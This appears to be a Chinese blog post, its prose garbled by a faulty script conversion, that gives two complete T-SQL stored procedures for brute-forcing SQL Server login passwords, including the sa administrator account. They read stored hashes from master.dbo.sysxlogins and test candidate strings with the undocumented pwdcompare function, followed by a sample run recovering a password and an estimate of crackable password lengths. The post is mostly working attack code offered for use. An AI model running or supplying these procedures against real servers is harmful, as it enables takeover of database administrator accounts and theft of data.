mssql應用存儲進程破解sa暗碼。本站提示廣大學習愛好者:(mssql應用存儲進程破解sa暗碼)文章只能為提供參考,不一定能成為您想要的結果。以下是mssql應用存儲進程破解sa暗碼正文
代碼演示暴力破解MSSQL的帳號和暗碼,包含治理員帳號sa的暗碼。
網上有SQL Server Sa暗碼破解的存儲進程,辦法就是暴力破解MSSQL的帳號和暗碼,包含治理員帳號sa的暗碼,上面我對其它的代碼稍做修正,並停止了一些機能剖析。
起首說說破解進程序焦點思惟,就是存儲帳號暗碼的master.dbo.sysxlogins表和未頒布的暗碼比擬存儲進程pwdcompare。經由一方剖析,修正了部門代碼,上面貼出修正前後的代碼,
一個SQL Server Sa暗碼破解的存儲進程
alter proc p_GetPassword
@username sysname=null, --用戶名,假如不指定,則列出一切用戶
@pwdlen int=2 --要破解的暗碼的位數,默許是2位及以下的
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select 用戶名=name,暗碼=pwdstr,暗碼ASCII=pwd
from #pwd
GO
上面是我修正後的代碼:
alter proc p_GetPassword2
@username sysname=null, --用戶名,假如不指定,則列出一切用戶
@pwdlen int=2 --要破解的暗碼的位數,默許是2位及以下的
as
set nocount on
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
declare @ss varchar(256)
--select @ss= '123456789'
select @ss= 'abcdefghijklmnopqrstuvwxyz'
select @ss=@ss+ '`0123456789-=[]\;,./'
select @ss=@ss+ '~!@#$%^&*()_+{}|:<>?'
--select @ss=@ss+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
create table #t(c char(1) not null)
alter table #t add constraint PK_#t primary key CLUSTERED (c)
declare @index int
select @index=1
while (@index <=len(@ss))
begin
insert #t select SUBSTRING(@ss, @index, 1)
select @index = @index +1
end
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
,times =cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000), @stimes varchar(8000)
declare @l int, @t bigint
select @t = count(1)*POWER(len(@ss),1) from #pwd
select @l=0
,@s1='aa.c'
,@s2='cast(ASCII(aa.c) as varchar)'
,@s3=',#t aa'
,@stimes='1th,' + cast(@t as varchar(20)) + 'rows'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
select @t = count(1)*POWER(len(@ss),@l+1) from #pwd
print @t
select
@s1=@s1+'+'+char(@l/26+97)+char(@l%26+97)+'.c'
,@s2=@s2+'+'',''+cast(ASCII('+char(@l/26+97)+char(@l%26+97)+'.c) as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
,@stimes=@stimes+';'+ cast(@l+1 as varchar(1)) + 'th,' + cast(@t as varchar(20)) + 'rows'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
,times='''+@stimes+'''
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select 用戶名=name,暗碼=pwdstr,暗碼ASCII=pwd, 查詢次數和行數=times
from #pwd
if object_id(N'tempdb..#t') is not null
drop table #t
if object_id(N'tempdb..#pwd') is not null
drop table #pwd
我測試以下
p_GetPassword2 'b', 6
用戶名 暗碼 暗碼ASCII 查詢次數和行數
b 123 49,50,51 1th,66rows;2th,4356rows;3th,287496rows
機能剖析:
本例以一個查詢能查詢bigint的最年夜值筆記錄9223372036854775807為限做為主機最年夜機能,來粗略盤算破解機能。
破解一個帳號的暗碼長度,破解時光和機能消費,是以一切用於破解的字符長度為底,以暗碼長度為指數的指數函數,即:破解帳號個數 * (一切用於破解的字符個數)最長暗碼長度次方 < 主機最年夜機能:
原存儲進程應用256個破解字符,實際上可以破解7位暗碼,即2567<Max(bigint)。
我修正的存儲進程應用66個鍵盤慣例字符,實際上可以破解10位暗碼,即6610<Max(bigint)。
假如曉得暗碼是10個數字字符的組合,實際上可以破解19位暗碼,即1019<Max(bigint)。